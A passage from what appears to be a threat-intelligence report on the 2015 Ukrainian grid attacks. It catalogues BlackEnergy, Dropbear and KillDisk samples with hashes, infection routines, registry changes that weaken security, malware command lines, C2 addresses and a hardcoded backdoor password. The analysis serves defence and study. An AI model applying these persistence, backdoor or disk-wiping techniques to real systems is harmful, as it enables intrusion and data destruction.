+Type: Win32 Executable 211 +First Upload: 2015-08-03 10:37:19 212 +Compile Timestamp: +1979-01-28 00:25:53 213 +Final Modification Timestamp: +Undisclosed +File Size: 98304 bytes214 +Language Settings: Japanese 215 +File Names:216 +vba_macro +MS-IME +icshextobin.exe +BlackEnergy.exe +vba_macro.exe +CPLEXE.EXE +1.exe +Booz Allen Hamilton +Technical Notes: +This installer follows a routine very similar to the sample detailed in Appendix B.4 (MD5: ac2d7f21c826ce0c449481f79138aebd); in fact, 33% of its code is shared with that sample. +At execution: +1. The installer drops a .dll file at C:\Documents and Settings\useradm\Local Settings\ +Application Data\FONTCACHE.DAT (size 55,808) +2. The installer then delivers the persistent .link file at C:\Documents and Settings\useradm\ +Start Menu\Programs\Startup\{C323A392-5BB0-47D5-9518-E60202A85B5C}.lnk (size 1,682) +a. this .lnk calls rundll32.exe to execute FONTCACHE at system startup +3. Weakens internet settings in registry to lower Internet security: +a. HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ +ProxyBypass (sets to 1) +b. HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ +IntranetName (sets to 1) +c. HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ +UNCAsIntranet (sets to 1) +4. Launches (in this case PID: 2696) Command line: +C:\WINDOWS\system32\rundll32.exe +C:\Documents and Settings\useradm\Local Settings\Application Data\FONTCACHE. +a. Further weakens Internet Explorer settings: +HKCU\Software\Microsoft\Internet Explorer\PhishingFilter\Enabled +(sets to 0) +ii. HKCU\Software\Microsoft\Internet Explorer\Recovery\NoReopenLastSession (sets to +iii. HKCU\Software\Microsoft\Internet Explorer\Main\NoProtectedModeBanner (sets to +iv. [Amongst some other I.E. settings] +b. Loads BE into +svchost.exe -DcomLaunch +5. Launches (in this case PID: 2704) Command line: /s /c +for /L %i in (1,1,100) do (del /F +DOCUME~1\useradm\Desktop\07E726~1.EXE + & ping localhost -n 2 & if not exist +DOCUME~1\useradm\Desktop\07E726~1.EXE + Exit 1) +a. Deletes BE on-disk installer +6. Fontcache (from within svchost.exe -DcomLaunch) launches +C:\Program Files\Internet +Explorer\iexplore.exe -Embedding +a. Which beacons to 5.149.254.114:80 +boozallen.com/ics +Related Samples: +Appendix B.8: BE3 Implant (FONTCACHE.DAT, Sample 2) +(MD5: cdfb4cda9144d01fb26b5449f9d189ff) +Appendix B.9 BE3 Implant (.LNK Persistence Mechanism, Sample 2) +(MD5: bffd06a38a46c1fe2bde0317176f04b8) +APPENDIX B.5: +BE2 INSTALLER (UNDISCLOSED) +SHA1: 896fcacff6310bbe5335677e99e4c3d370f73d96 +SHA-256: 07a76c1d09a9792c348bb56572692fcc4ea5c96a77a2cddf23c0117d03a0dfad +MD5: 1d6d926f9287b4e4cb5bfc271a164f51 +Type: Win32 Executable 217 +First Upload: 2015-10-11 04:17:36 UTC 218 +Compile Timestamp: +0000:00:00 00:00:00 219 +Final Modification Timestamp: +Undisclosed +File Size: 155648 bytes220 +Language Settings: English 221 +File Names: Undisclosed +Technical Notes: +This is a BE2 dropper, installer, and RAT bundle. It is either a modified Cyberlink PowerDVD 10 +binary or is designed to look like one during string analysis. +The installer appears to be packed, possibly with tElock. +The associated implant is packed with tElock 0.99. +This bundle includes an encrypted file, which is likely the configuration file stored on disk. +Infection Routine: +1. Installer 1d6d926f9287b4e4cb5bfc271a164f51.exe (in this case PID 596) executes +2. Installer creates file c:\windows\adpu160ms then pings localhost +-n 2 + (effectively a 2 second +sleep) +3. Installer pings localhost +-n 3 + (effectively a 3 second sleep) +4. Installer launches a cmd.exe (in this case PID 880) with the following command line: +a. PID: 880, Command line: /c +ping localhost +n 8 & move /Y +C:\WINDOWS\adpu160ms +C:\WINDOWS\system32\drivers\adpu160m.sys + & ping localhost +n 3 & net start +adpu160m +5. Services.exe (in this case PID 768) writes the registry keys for apdu160m and loads +adpu160m.sys into +svchost.exe +DcomLaunch + (in this case PID 988) +Booz Allen Hamilton +6. Once loaded into +svchost.exe +DcomLaunch + (PID 988) the malware writes a 203-byte, +encoded, and timestamped file to c:\windows\system32\ieapflrt.dat, which is likely a +configuration file. +7. The implant then performs a reverse lookup to 5.9.32.230 and attempts to initiate a TCP +connection over port 443. The implant goes through this routine frequently, nearly every two +minutes. +Related Samples: +Appendix B.7: Implant (adpu160m.sys) +(MD5: e60854c96fab23f2c857dd6eb745961c) +Appendix B.8: Encrypted Configuration/On-disk-store (ieapflrt.dat) +(MD5: 01215f813d3e93ed7e3fc3fe369a6cd5) +APPENDIX B.6: +DROPBEAR INSTALLER (DROPBEARRUN.VBS) ac +SHA1: 72d0b326410e1d0705281fde83cb7c33c67bc8ca +SHA-256: b90f268b5e7f70af1687d9825c09df15908ad3a6978b328dc88f96143a64af0f +MD5: 0af5b1e8eaf5ee4bd05227bf53050770 +Type: ASCII text 222 +First Upload: 2015-10-13 10:51:25 UTC 223 +Compile Timestamp: +Undisclosed +Final Modification Timestamp: +2015-03-17 06:41:04 UTC+0 224 +File Size: 165 bytes225 +Language Settings: Undisclosed +File Names: +DropbearRun.vbs226 +VBS/Agent.AD trojan 227 +Technical Notes: +This script launches the Dropbear SSH server from directory C:\\WINDOWS\TEMP\DROPBEAR\, +and sets the server to listen on port 6789. 228 +The modified version of the Dropbear server includes two backdoors, a hardcoded public key +authentication process, and a hardcoded username and password. 229 +Related Samples: +Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 2) +(MD5: abeab18ebae2c3e445699d256d5f5fb1) +Appendix B.13: Dropbear Implant (Dropbear.exe) +(fffeaba10fd83c59c28f025c99d063f8) +A sample of this file was not recovered. The technical notes provided are based on the cited reporting. +boozallen.com/ics +Communications between the infected host and +the CC server are conducted using HTTP POST +requests. 231 During the initiation of the connection, BE3 requests will contain fields such as a +SHA1 hash of the bot_id, domain security +identifier (SID), host name and serial number, as +well as build_id from the samples configuration +data, and a series of hardcoded values representing the associated version number. 232 The CC +server then sends a decrypted response as a +series of 509_ASN encoded values. 233 +PERSISTENT MALWARE IMPLANTS +After dropping FONTCACHE.DAT into the +application data directory and inserting the +associated .lnk file in the startup directory, the +installer takes steps to modify the Internet security +setting and initiate the process of connecting to +the command-and-control (CC) server. The +installer first modifies in-registry Internet settings +to lower the Internet security, then uses rundll32. +exe to launch FONTCACHE.DAT, which in turn +further weakens Internet security settings, +specifically targeting MS Internet Explorer. +FONTCACHE.DAT is then loaded into svchost.exe, +the standard process used for hosting services +running off .dll files, which then launches +iexploerer.exe and attempts to use Internet +Explorer to establish an HTTP connection with an +external host.ad In the analyzed sample, the +implant attempted to connect to IP address +5.149.254.114.ae This IP address was identified as a +potential CC server in other BE3 analysis +reporting. 230 +Booz Allen Hamilton +In the initial POST request sent to the CC server, +the hashed build_id is a unique text string +associated with each individual infection. 234,235 +These build_ids, as well as a list of the CC servers, +are stored in the embedded configuration data +within the binary of the .dll implant. 236 Publicly +reported analysis of the BE3 samples indicate that +at least 12 build_ids had been identified in 2015, +and the strings included in the build_ids are likely +significant. 237 The 12 build_ids recovered in 2015 +included strings such as +kiev_o + and +2015telsmi, + and the authors of the report +speculate + is an acronym representing +Sredstva Massovoj Informacii. 238 Sredstva +Massovoj Informacii ( +) is the Russian term for mass +media, which may be referring to the attack on the +Ukrainian media outlet in October 2015. +This summary is based on the infection routine observed in VBA_macro.exe, Sample 1. Additional details on specific setting +modifications can be found the full infection routine summary in Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 1). +This summary is based on the infection routine observed in VBA_macro.exe, Sample 1. Additional details on specific setting +modifications can be found the full infection routine summary in Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 1). +A P P E N D I X B .7: +BE3 IMPLANT (FONTCACHE.DAT, SAMPLE 1) +SHA1: 899baab61f32c68cde98db9d980cd4fe39edd572 +SHA-256: ef380e33a854ef9d9052c93fc68d133cfeaae3493683547c2f081dc220beb1b3 +MD5: 3fa9130c9ec44e36e52142f3688313ff +Type: Win32 Dynamic Link Library239 +First Upload: 2015-10-13 10:51:25 UTC 240 +Compile Timestamp: +1979-01-28 00:25:53 241 +Final Modification Timestamp: +1979:01:28 01:25:53+01:00 242 +File Size: 56832 bytes243 +Language Settings:244 +Neutral +English US +File Names:245 +FONTCACHE.DLL +FONTCACHE.DAT.174093.DROPPED +FONTCACHE.DAT +packet.dll +Technical Notes: +This is the implant file associated with Appendix B.3: BE3 Installer (VBA_macro.exe, Sample 1). +Full infection routine details are provided in Appendix B.3: BE3 Installer (VBA_macro.exe, Sample 1). +Related Samples: +Appendix B.3: BE3 Installer (VBA_macro.exe, Sample 1) +(MD5: ac2d7f21c826ce0c449481f79138aebd) +boozallen.com/ics +APPENDIX B.8: +BE3 IMPLANT (FONTCACHE.DAT, SAMPLE 2) +SHA1: 315863c696603ac442b2600e9ecc1819b7ed1b54 +SHA-256: f5785842682bc49a69b2cbc3fded56b8b4a73c8fd93e35860ecd1b9a88b9d3d8 +MD5: cdfb4cda9144d01fb26b5449f9d189ff +Type: Win32 Dynamic Link Library246 +First Upload: 2015-07-27 13:17:32 247 +Compile Timestamp: +1979-01-28 00:25:53 248 +Final Modification Timestamp: +1979-01-28 00:25:53 249 +File Size: 55808 bytes250 +Language Settings:251 +Neutral +English US +File Names:252 +FONTCACHE.DAT +63.dll +packet.dll +Technical Notes: +This is the implant file associated with Appendix B.4: BE3 Installer +(VBA_macro.exe, Sample 2). +Full infection routine details are provided in Appendix B.4: BE3 Installer +(VBA_macro.exe, Sample 2). +Related Samples: +Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 2) +(MD5: abeab18ebae2c3e445699d256d5f5fb1 +Appendix B.10: BE3 Implant (.LNK Persistence Mechanism, Sample 2) +(MD5: bffd06a38a46c1fe2bde0317176f04b8) +APPENDIX B.9: +BE3 IMPLANT (.LNK PERSISTENCE MECHANISM, SAMPLE 1) af +SHA1: f89ce5ba8e7b8587457848182ff1108b1255b87f +SHA-256: 2872473b7144c2fb6910ebf48786c49f9d4f46117b9d2aaa517450fce940d0da +MD5: 40c74556c36fa14664d9059ad05ca9d3 +Type: Microsoft Windows LiNK +First Upload: Not Submitted +Compile Timestamp: +Not Submitted +Final Modification Timestamp: +Not Submitted +File Size: 1682 bytes +Language Settings: Not Submitted +File Names: Not Submitted +Booz Allen Hamilton +This is an embedded file dropped during malware execution. This file was not publicly reported as an independent malware +sample. +Not Submitted + is listed in fields that would otherwise have been populated with data from public sources. +Technical Notes: +This is the shortcut file inserted in the startup folder and used to launch the FONTCACHE.DAT +implant. +Full infection routine details associated with this file are provided in Appendix B.3: BE3 Installer +(VBA_macro.exe, Sample 1). +Related Samples: +Appendix B.3: BE3 Installer (VBA_macro.exe, Sample 1) +(MD5: ac2d7f21c826ce0c449481f79138aebd) +Appendix B.4: BE3 Implant (FONTCACHE.DAT, Sample 1) +(MD5: 3fa9130c9ec44e36e52142f3688313ff) +APPENDIX B.10: +BE3 IMPLANT (.LNK PERSISTENCE MECHANISM, SAMPLE 2) ag +SHA1: 3feb426ac934f60eee4e08160d9c8bbe926c917e +SHA-256: 22735ffeb3472572f608e9a2625ec91735482d9423ea7a43ed32f8a39308eda8 +MD5: bffd06a38a46c1fe2bde0317176f04b8 +Type: Microsoft Windows LiNK +First Upload: Not Submitted +Compile Timestamp: +Not Submitted +Final Modification Timestamp: +Not Submitted +File Size: 1682 bytes +Language Settings: Not Submitted +File Names: Not Submitted +Technical Notes: +This is the shortcut file inserted in the startup folder and used to launch the FONTCACHE.DAT +implant. +Full infection routine details associated with this file are provided in Appendix B.4: BE3 Installer +(VBA_macro.exe, Sample 2). +Related Samples: +Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 2) +(MD5: abeab18ebae2c3e445699d256d5f5fb1) +Appendix B.9: BE3 Implant (FONTCACHE.DAT, Sample 2) +(MD5:cdfb4cda9144d01fb26b5449f9d189ff) +This is an embedded file dropped during malware execution. This file was not publicly reported as an independent malware +sample. +Not Submitted + is listed in fields that would otherwise have been populated with data from public sources. +boozallen.com/ics +A PPENDIX B.11: +BE2 IMPLANT (ADPU160M.SYS) +SHA1: 4bc2bbd1809c8b66eecd7c28ac319b948577de7b +SHA-256: 244dd8018177ea5a92c70a7be94334fa457c1aab8a1c1ea51580d7da500c3ad5 +MD5: e60854c96fab23f2c857dd6eb745961c +Type: Win32 Executable 253 +First Upload: 2015-10-09 16:26:08 UTC 254 +Compile Timestamp: +Not Submitted +Final Modification Timestamp: +0000:00:00 00:00:00 255 +File Size: 60928 bytes256 +Language Settings: English 257 +File Names:258 +FILE_208 +acpipmi.sys +aliides.sys +Technical Notes: +This is the implant file associated with Appendix B.5: BE2 Installer (Undisclosed). The name is listed +here (adpu160m.sys) is taken from a legitimate, unused driver on the system, and will potentially +vary between executions. +Full infection routine details are provided in Appendix B.5: BE2 Installer (Undisclosed). +Related Samples: +Appendix B.5: BE2 Installer (Undisclosed) +(MD5: 1d6d926f9287b4e4cb5bfc271a164f51) +Appendix B.12: Encrypted Configuration/On-disk-store (ieapflrt.dat) +(MD5: 01215f813d3e93ed7e3fc3fe369a6cd5) +APPENDIX B.12: +BE3 ENCRYPTED CONFIGURATION/ON-DISK-STORE (IEAPFLRT.DAT) ah +SHA1: 63bf25190139bd307290c301304597bdeffa4351 +SHA-256: ad2e333141e4e7a800d725f06e25a58a683b42467645d65ba5a1cf377b4adcbe +MD5: 01215f813d3e93ed7e3fc3fe369a6cd5 +Type: Not Submitted +First Upload: Not Submitted +Compile Timestamp: Not Submitted +Final Modification Timestamp: Not Submitted +File Size: Not Submitted +Language Settings: Not Submitted +File Names: Not Submitted +Technical Notes: +This is the encrypted configuration and on-disk-store file associated with Appendix B.5: BE2 Installer +(Undisclosed). +Full infection routine details are provided in Appendix B.5: BE2 Installer (Undisclosed). +Booz Allen Hamilton +This is an embedded file dropped during malware execution. This file was not publicly reported as an independent malware +sample. +Not Submitted + is listed in fields that would otherwise have been populated with data from public sources. +Related Samples: +Appendix B.5: BE2 Installer (Undisclosed +(MD5:1d6d926f9287b4e4cb5bfc271a164f51) +Appendix B.7: BE3 Implant (adpu160m.sys) +(MD5: e60854c96fab23f2c857dd6eb745961c) +APPENDIX B.13: +MODIFIED DROPBEAR SERVER IMPLANT (DROPBEAR.EXE) ai +SHA1: 166d71c63d0eb609c4f77499112965db7d9a51bb +SHA-256: 0969daac4adc84ab7b50d4f9ffb16c4e1a07c6dbfc968bd6649497c794a161cd +MD5: fffeaba10fd83c59c28f025c99d063f8 +Type: Win32 Executable 259 +First Upload: 2015-06-25 09:16:03 260 +Compile Timestamp: +2013-12-10 06:08:44 261 +Final Modification Timestamp: +2013:12:10 07:08:44+01:00 262 +File Size: 303152 bytes +Language Settings: Undisclosed +File Names: +dropbear.exe263 +Win32/SSHBearDoor.A trojan264 +Technical Notes: +This file is the Dropbear server program. Analysis identified that this Dropbear binary code was +modified from its source code to include a backdoor and authentication processes. 265 The first +authentication process uses a hardcoded credential set of +user + and +passDs5Bu9Te7 + and the +second process uses a RSA public key. 266 +Related Samples: +Appendix B.1: Weaponized MS Excel ( +1.xls) +(MD5: 97b7577d13cf5e3bf39cbe6d3f0a7732) +Appendix B.6: Dropbear Installer (DropbearRun.vbs) +(MD5: 0af5b1e8eaf5ee4bd05227bf53050770) +A sample of this file was not recovered. The technical notes provided are based on the cited reporting. +boozallen.com/ics +KILLDISK SAMPLES +Five KillDisk samples were recovered +and analyzed for this report. Two of the samplesaj,ak +drop a file +C:\windows\svchost.exe + and create +a process +C:\WINDOWS\svchost.exe +service, +which runs as a child of services.exe. The process +overwrites the first 131072 bytes of +\Device\Harddisk0\DR0 with zeros, effectively +rendering the OS unusable upon reboot. The +infected machine then sustains a critical error, +displays a blue screen of death, and reboots with +the message +Operating System not found. +third observed sampleal executes nearly identically, +though the sample runs as its own process as +opposed to dropping an embedded file onto the +targeted system to overwrite the data. +A key point of variance between recovered +samples is the level of additional data destruction +Booz Allen Hamilton +beyond overwriting the master boot record. +Though all samples ultimately rendered the +machines inoperable, in the samplesam,an +described above, a critical system error and forced +reboot occurred without overwriting any additional +data on disk. This indicates that valuable data +stored on the device may be recoverable, even if +the machine itself is inoperable. +Two other analyzed samplesao,ap included +additional data destruction beyond the MBR. The +first aq runs as its own process and overwrites the +first 131072 bytes of +\Device\Harddisk0\DR0 with spaces, rendering +the OS unusable upon reboot. The sample then +continues to overwrite thousands of files while the +system remains powered on but unusable. The +other sample follows a nearly identical execution, +though it runs as a child process to services.exe +Appendix B.14: KillDisk (Sample 1) (MD5: 108fedcb6aa1e79eb0d2e2ef9bc60e7a) +Appendix B.14: KillDisk (Sample 2) (MD5: 72bd40cd60769baffd412b84acc03372) +Appendix B.16: KillDisk (Sample 3) (MD5: 7361b64ddca90a1a1de43185bd509b64) +Appendix B.14: KillDisk (Sample 1) (MD5: 108fedcb6aa1e79eb0d2e2ef9bc60e7a) +Appendix B.17: KillDisk (Sample 4) (MD5: cd1aa880f30f9b8bb6cf4d4f9e41ddf4) +and also drops hundreds of 5-byte .tmp files in C:\ +windows\temp\ with incrementing numeric file +names. +Public reporting indicates that some observed +KillDisk samples would not execute properly in +malware sandboxes, requiring analysts to conduct +static analysis. 267 This could possibly indicate +functionality to identify the use of malware +sandboxes, a feature that would be included to +hinder forensic analysis. In initial analysis of one of +the recovered samples,ar analysts found it would +not run in a Windows XP virtual machine, though +patching with Ollydbg corrected this issue. This +may have been the same issue discussed by other +analysts encountered. +At least one machine destroyed by KillDisk was +functioning as a remote terminal unit (RTU), and +some public reporting indicated that a process +executed by the malware (sec_service.exe) may +have been a standard process in several applications used in control environments. 268 Despite +this, specific targeting of industrial control +systems (ICS) devices was not a behavior +observed in any of the KillDisk samples analyzed. +The samples observed did not include inherent +features to discover ICS components, and the +reported disk destruction against the RTU was +likely accomplished by the threat actors, actively +delivering the malware to the targeted system. +In addition to targeting the electricity distributors +in December 2015, several of the KillDisk samples +analyzed for this report were also reported in +attacks against a Ukrainian railway operatoras and +Ukrainian mining companyat,au in November and +December 2015. 269 +Appendix B.18: KillDisk (Sample 5) (MD5: 66676deaa9dfe98f8497392064aefbab) +Appendix B.16: KillDisk (Sample 3) (MD5: 7361b64ddca90a1a1de43185bd509b64) +Appendix B.18: KillDisk (Sample 5) (MD5: 66676deaa9dfe98f8497392064aefbab) +Appendix B.16: KillDisk (Sample 3) (MD5: 7361b64ddca90a1a1de43185bd509b64) +Ibid +Appendix B.15: KillDisk (Sample 2) (MD5: 72bd40cd60769baffd412b84acc03372) +Appendix B.17: KillDisk (Sample 4) (MD5: cd1aa880f30f9b8bb6cf4d4f9e41ddf4) +boozallen.com/ics +APPENDIX B.14: +KILLDISK (SAMPLE 1) +SHA1: aa0aaa7002bdfe261ced99342a6ee77e0afa2719 +SHA-256: 30862ab7aaa6755b8fab0922ea819fb48487c063bea4a84174afbbd65ce26b86 +MD5: 108fedcb6aa1e79eb0d2e2ef9bc60e7a +Type: Win32 Executable 270 +First Upload: 2016-03-22 11:54:29 UTC 271 +Compile Timestamp: +2015-10-24 18:19:30 272 +Final Modification Timestamp: +2015:10:24 19:19:30+01:00 273 +File Size: 110592 bytes274 +Language Settings: English US 275 +File Names: +1.1276 +Technical Notes: +This KillDisk sample executes a destructive disk overwrite function. Following execution, data may +be recoverable. +Execution Routine: +1. Shortly after running, the executable creates a process +C:\WINDOWS\svchost.exe -service +that runs as a child of services.exe; it runs in such fashion because it is installed as service +msDefenderSvc +2. The executable then overwrites (with zeros) the first 131072 bytes of \Device\Harddisk0\DR0, +effectively rendering the OS unusable upon reboot. +3. While running, the machine sustains a critical error, and upon reboot displays +Operating +system not found. + The machine sustains this critical system error before additional files are +overwritten, indicating some data may be recoverable. +Dropped files include: +c:\windows\svchost.exe +Related Samples: +APPENDIX B.15: +KILLDISK (SAMPLE 2) +SHA1: 8ad6f88c5813c2b4cd7abab1d6c056d95d6ac569 +SHA-256: f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95 +MD5: 72bd40cd60769baffd412b84acc03372 +Booz Allen Hamilton +Type: Win32 Executable 277 +First Upload: 2015-11-10 09:31:41278 +Compile Timestamp: +2015-10-24 18:19:30 279 +Final Modification Timestamp: +2015:10:24 19:19:30+01:00 280 +File Size: 110592 bytes281 +Language Settings: English US 282 +File Names: svchost.exe283 +Technical Notes: +The execution process for this sample is identical to the process detailed in Appendix B.14: KillDisk +(Sample 1). +Related Samples: +Appendix B.14: KillDisk (Sample 1) +(MD5:108fedcb6aa1e79eb0d2e2ef9bc60e7a) +APPENDIX B.16: +KILLDISK (SAMPLE 3) +SHA1: f3e41eb94c4d72a98cd743bbb02d248f510ad925 +SHA-256: c7536ab90621311b526aefd56003ef8e1166168f038307ae960346ce8f75203d +MD5: 7361b64ddca90a1a1de43185bd509b64 +Type: Win32 Executable 284 +First Upload: 2015-12-23 22:34:19 285 +Compile Timestamp: +1999:01:06 23:02:00+01:00 286 +Final Modification Timestamp: +1999:01:06 23:02:00+01:00 287 +File Size: 98304 bytes288 +Language Settings: English US 289 +File Names:290 +tsk.exe +danger +Ukranian.bin.exe +Technical Notes: +This KillDisk sample executes a destructive disk overwrite function. In addition to destroying critical +OS data, the sample also overwrites thousands of additional files, including log files. 291 Following +execution, data is not likely recoverable. +In initial analysis, the executable would not run from cmdline on Win5.1. The file was patched using +Ollydbg, allowing it to run as a child of services.exe as + -LocalService +Execution Routine: +1. The executable overwrites (with blanks/spaces) first 131072 bytes of \Device\Harddisk0\DR0, +effectively rendering the OS unusable upon reboot. +2. After overwriting OS data, the executable continues to overwrite thousands of files, causing +the system to remain powered but unusable. Data destruction takes long time and does not +immediately trigger a critical system error. +3. Following reboot, the system displays reboot error: +Operating system not found. +The executable also drops hundreds of 5-byte files in C:\windows\temp\==00####=.tmp, where +#### + is an incrementing numeric. +Related Samples: +boozallen.com/ics +A P P E N D I X B . 1 7: +KILLDISK (SAMPLE 4) +SHA1: 16f44fac7e8bc94eccd7ad9692e6665ef540eec4 +SHA-256: 5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6 +MD5: cd1aa880f30f9b8bb6cf4d4f9e41ddf4 +Type: Win32 Executable +First Upload: 2015-10-25 01:31:24 292 +Compile Timestamp: +2015:10:24 14:23:02 293 +01:00 +Final Modification Timestamp: +2015:10:24 14:23:02+01:00 294 +File Size: 90112 bytes295 +Language Settings: English US 296 +File Names:297 +crab.exe +ololo 2.exe +ololo.exe +Technical Notes: +This KillDisk sample executes a destructive disk overwrite function. Following execution, data may +be recoverable. +Execution Routine: +1. The executable runs as own process rather than running an embedded file as a child process, +as was observed in other samples. +2. Upon execution, the first 131072 bytes of \Device\Harddisk0\DR0 are overwritten with zeros, +effectively rendering the OS unusable upon reboot. +3. While running, the machine sustains a critical error, and upon reboot displays +Operating +system not found. +The machine sustains the critical system error before additional files are overwritten, indicating +some data may be recoverable. +Related Samples: +Booz Allen Hamilton +APPENDIX B.18: +KILLDISK (SAMPLE 5) +SHA1: 6d6ba221da5b1ae1e910bbeaa07bd44aff26a7c0 +SHA-256: 11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80 +MD5: 66676deaa9dfe98f8497392064aefbab +Type: Win32 Executable 298 +First Upload: 2015-10-25 23:07:26 299 +Compile Timestamp: +2015-10-24 13:49:03300 +Final Modification Timestamp: +2015:10:24 14:49:03+01:00 301 +File Size: 126976 bytes302 +Language Settings: English US 303 +File Names:304 +trololo.exe +123.txt +ololo.exe +ololo.txt +virus_ololo.dat +Technical Notes: +This KKillDisk sample executes a destructive disk overwrite function. In addition to destroying +critical OS data, the sample also overwrites thousands of additional files, including log files.305 +Following execution, data is not likely recoverable. +Execution Routine: +1. The executable runs as own process rather than running an embedded file as a child process, +as was observed in other samples. +2. The executable overwrites (with blanks/spaces) the first 131072 bytes of \Device\Harddisk0\ +DR0, effectively rendering the OS unusable upon reboot. +3. After overwriting OS data, the executable continues to overwrite thousands of files, causing +the system to remain powered but unusable. Data destruction takes long time and does not +immediately trigger a critical system error. +4. Following reboot, the system displays reboot error: +Operating system not found. +Related Samples: +boozallen.com/ics +APPENDIX C: +BlackEnergy Plugins +BlackEnergy (BE) was first observed in 2007 and +has since been used by a wide range of threat +actors, predominantly criminal groups, to +conduct a diverse collection of malicious +campaigns.306 BE has been observed as an +enabling tool in distributed denial-of-service +(DDoS) attacks, theft of banking credentials, +widespread reconnaissance and cyberespionage,307 and ultimately disruptive industrial +control systems (ICS) attacks in Ukraine. The BE +plugins identified reflect the diverse use of this +malware, and the significant overlap in functionality across different plugins indicates that +several distinct groups are actively using the tool. +At least 14 BE plugins have been identified in +public reporting, including:308,309 + FS.dll: Functions as a data exfiltration tool; +gathers documents and private keys by search +for specific file extensions + SI.dll: Searches infected machines for specific +configuration and operational data + JN.dll: Functions as a parasitic infector; fixes +checksum values in PE headers, fixes CRC32 +Nullsoft value, and deletes digital signatures +to avoid invalidation + KI.dll: Records user key strokes on infected +machines + PS.dll: Searches infected machines for user +credentials + SS.dll: Captures screenshots on infected +machines + VS.dll: Functions as a network discovery and +remote execution tool. Scans the infected +network to identify connected network +resources, retrieves remote desktop +credentials, and attempts to establish +connections. Uses PsExec, which is embedded +in the plugin, to gather system information +and launch executables on remote machines +TV.dll: Searches for TeamViewer versions 6 +If the targeted application is identified, the +plugin sets an additional password, creating +an additional backdoor into the compromised +system +RD.dll: Functions as a pseudo +remote +desktop + server +UP.dll: Used to update the hosted malware +DC.dll: Identifies Windows accounts on the +infected system +BS.dll: Conducts system profiling through +queries of system hardware, BIOS, and +Windows information +DSTR.dll: Functions as a logic bomb. At a +specified time, the plugin rewrites files with +specific extensions with random data, deletes +itself, and deletes the first 11 sectors of system +drive, then rewrites all remaining data +SCAN.dll: Functions as a network scanner on +infected systems. +Of particular interest in the attacks against +Ukrainian electricity distributors are the SI and +PS plugins. As plugins designed specifically to +search for credential data, SI or PS are the likely +plugins used following the initial infection. Data +destruction was also a component of the final +stages of the attack, and though BE has a +dedicated data destruction plugin, DSTR.dll, +public reporting indicates that the disk-wiping +component of the attack was achieved using the +KillDisk malware. +boozallen.com/ics +The SI plugin gathers a wide range of systems +data. Using the systeminfo.exe utility, SI gathers +configuration information, including OS version, +privileges, current time, up time, idle time, and +proxy.310 SI also identifies:311 + Installed applications, using the uninstall +program registry + Process list, using the tasklist.exe utility + IP configurations, using the ipconfig.exe utility + Network connections, using the +netstat.exe utility + Routing tables, using the route.exe utility + Traceroute and Ping information to Google, +using tracert.exe and ping.exe + Mail, browser, and instant messaging clients. +Of particular interest is its targeting of password +managers and stored user credentials.312 SI is +designed to pull credentials from The Bat! email +client, Mozilla password manager, Google +Chrome password manager, Outlook and +Outlook Express, Internet Explorer, and Windows +Credential Store, including credentials for +Windows Live messenger services, Remote +Desktop, and WinINET.313 If any of these +Booz Allen Hamilton +applications or services were deployed on the +targeted systems, they would present a viable +avenue for gathering the valid user credentials +that the threat actors ultimately obtained in their +attack. The PS.dll plugin is also specifically +designed to search and exfiltrate credentials,314 +and may have been used in the attack. Similarly, +the KI.dll may have been used to record and +transfer keystrokes during user authentication, +as some public reporting speculates.315 Detail +on the specific function of these two plugins +was not listed in public sources, and samples +of the .dll files were not located for analysis. +Of the 15 plugins mentioned in this report, most +were initially developed for BE2, though they +could be recompiled for use with BE3.316 +According to reporting in September 2015, SI was +the only plugin analyzed by security researchers +that had been updated for use with BE3 at that +time;317 this indicates SI may have been the tool +used in the December 2015 attacks. Later +reporting, in January 2015, indicated that all +14 of the plugins had been modified for +compatibility with BE3.318 +APPENDIX D: +Alternate Remote Access Trojans +Though the primary tool in the Ukraine attacks +was BlackEnergy (BE) 3, as noted above, several +other remote access trojans (RAT) were observed +in the phishing campaign leading up to the +attacks.319 Several reports discussed +the use of a modified version of Dropbear,320,321,322 +an open-source SSH server and client executable +designed as a lightweight server primarily for +Linux-based embedded systems.323 As with BE3, +the modified Dropbear was launched using a +Visual Basic (VB) script av delivered via a weaponized Microsoft (MS) Excel document.324 At +launch, the server is set to listen at port 6789.325 +The modified version of the Dropbear server +contained two backdoors, a hardcoded public key +authentication process, and a hardcoded +username and password, allowing threat actors +to authenticate into the targeted system.326 One +of the benefits, from an attacker +s perspective, of +using a RAT such as the modified Dropbear +server, is that it is not inherently malicious, and +unlike other RATs, it may not be recognized by +automated scanners designed to recognize +potentially malicious files.327 Using an opensource SSH client like Dropbear in the initial +infection would also limit the risk of exposing a +more complex and valuable piece of malware, +such as BE3; if the malware is discovered, it +would not represent a significant loss from the +attacker +s perspective. +During analysis of BE3 malware samples, +analysts did not find any technical link between +BE3 and the other referenced RATs: GCat, +Dropbear, and Kryptik. It is possible, as some +public reporting indicates, that these additional +trojans were used by the same threat actors that +conducted the attack on the electrical grid; in +the attack the threat actors used at least two +separate malware applications, BE3 and KillDisk. +There is no technical evidence to confirm these +additional trojans were used by the same group +though, and it is possible they had been +delivered to the targeted systems as part of +separate, unrelated attacks. +Appendix B.6: Dropbear Installer (DropbearRun.vbs) (MD5: 0af5b1e8eaf5ee4bd05227bf53050770) +boozallen.com/ics +APPENDIX E: +Sources +IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, + US Department of Homeland Security +Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. + TSN, December +24, 2015, accessed April 13, 2016, http://ru.tsn.ua/ukrayina/iz-za-hakerskoy-ataki-obestochilo-polovinu-ivano-frankovskoy-oblasti-550406.html. +, December 23, +2015, accessed July 12, 2016, hxxp://www.oe.if.ua/showarticle.php?id=3413. + BlackEnergy2/3. + Cys Centrum, 